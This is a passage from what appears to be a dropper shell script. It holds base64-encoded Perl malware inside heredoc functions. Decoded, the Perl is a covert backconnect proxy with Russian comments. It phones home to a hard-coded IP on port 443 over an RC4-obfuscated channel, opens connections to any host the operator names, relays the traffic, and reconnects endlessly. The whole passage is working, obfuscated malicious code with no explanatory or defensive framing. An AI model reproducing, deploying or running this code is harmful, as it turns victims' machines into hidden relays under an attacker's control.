MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_29() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xNzknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
